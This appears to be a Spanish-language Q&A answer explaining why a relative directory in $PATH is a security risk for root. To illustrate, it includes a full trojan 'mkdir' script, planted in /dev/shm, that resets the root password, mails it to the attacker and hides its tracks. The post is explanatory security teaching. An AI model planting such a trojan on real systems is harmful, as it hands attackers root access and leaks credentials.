Hay dos problemas con la ruta que está utilizando.
- La ruta es relativa.
- La ruta relativa viene antes los caminos principales.
Supongamos que tiene el siguiente script de shell que usa como root para actualizar alguna aplicación web y ha configurado el $PATH
siendo usado en /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
A un atacante le está proporcionando un medio para ejecutar algo en el shell que está controlado por dicho atacante. Una forma de ataque se vería así, donde intento subvertir el control de mkdir
llamar en el script vulnerable.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Luego espero a que actualices tu webapp.
Ahora lo que sucede es que el script vulnerable cambia a /dev/shm
. Cuando hace esto y ejecuta mkdir
encuentra el apps/java/bin/mkdir
programa primero, que en este caso restablece la contraseña raíz, envía un correo electrónico al atacante con la nueva contraseña raíz, en realidad llama al verdadero mkdir
(para ocultar el hecho de que algo realmente sucedió) y se retira de la ruta de ataque.
Como root, tienes no idea de lo que sucedió y la evidencia se borra una vez que se entrega la carga útil.
El problema de tener una ruta relativa en $PATH es que si un atacante puede crear un archivo con un nombre dado en su sistema de archivos, corre el riesgo de ejecutar ese archivo.
Ejemplo:df
o el monitoreo dice que /var está lleno, du
dice que es /var/spool/ftp/uploads
, ¿qué haces?
cd /var/spool/ftp/uploads
ls -ltr
y eres propiedad. Ni siquiera ves ls
en la salida, por lo que nunca lo sabrás.
Reemplace las cargas de ftp con algún directorio de datos de algún sitio web del cliente, o el directorio /tmp de una máquina compartida, o muchas otras cosas.
Es cierto que no sucederá a menudo, pero el riesgo existe y escribir ./script
en lugar de script
es fácil.